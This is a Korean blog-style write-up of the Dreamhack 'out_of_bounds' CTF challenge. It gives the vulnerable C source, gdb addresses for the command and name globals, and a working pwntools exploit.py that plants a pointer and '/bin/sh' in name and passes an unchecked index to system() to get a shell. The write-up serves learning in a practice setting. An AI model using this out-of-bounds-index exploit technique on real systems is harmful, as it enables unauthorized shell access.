[Dreamhack] out_of_bounds

김성진·2022년 7월 17일
0

Dreamhack_System

목록 보기
6/44

📒 Description

Reference의 내용들이 자꾸 힌트가 되는 것 같다.
NX와 Canary가 걸려있으며 Partial RELRO 또한 적용되어있다.


📒 C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

system("/bin/sh")를 실행할 수 있으면 되겠다. 우리는 system에 인자로 command[idx]를 전달한다.
이 때 idx의 크기 필터를 안 하므로 command 주소를 기준으로 충분히 OOB 취약점이 발생할 수 있다.
그럼 우리는 command와 name 사이의 주소를 확인하여 / 4를 idx로 전달해 exploit 가능하다.


📒 Debugging

gdb-peda$ info var command
All variables matching regular expression "command":

Non-debugging symbols:
0x0804a060  command
gdb-peda$ info var name
All variables matching regular expression "name":

Non-debugging symbols:
0x0804a0ac  name

command : 0x0804a060
name : 0x0804a0ac
PIE는 걸려있지 않으므로 이 주소를 가져오면 되겠다.


📒 Exploit

📖 exploit.py

from pwn import *

p = process("./out_of_bound")
#p = remote("host3.dreamhack.games", 14919)

command = 0x0804a060
name = 0x0804a0ac 

p.recvuntil("name: ")
payload = p32(name+4) + "/bin/sh\x00"
p.sendline(payload)

p.recvuntil("want?: ")
idx = (name - command) / 4
p.sendline(str(idx))

p.interactive()

이 코드에서 의문이 들 수 있다. 왜 name+4를 넘기는 걸까? 본인은 p32(name) + "/bin/sh\x00"을 넘겨주었었고, 문제는 풀리지 않았었다. 그래서 system 함수에서 인자를 어떻게 처리하는 지 분석을 했었다.

📖 Debuging system func

//gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -fno-pie -o test test.c
#include <stdlib.h>

const char *cmd = "/bin/sh\x00";

int main(void){
	system(cmd);
	return 0;
}

system 함수는 const char *를 인자로 받는다. 위의 코드를 가지고 어떻게 작동하는 지 확인해보자.

그렇다. 포인터 이기에 결국은 문자열을 전달하는 것이 아닌, 그 주소를 전달하게 되는 것이다.
그렇기에 name+4를 전달해주고, 그 크기 또한 4바이트니 name+4부터 /bin/sh이 들어가면 되는 것이다.

profile
Today I Learned

0개의 댓글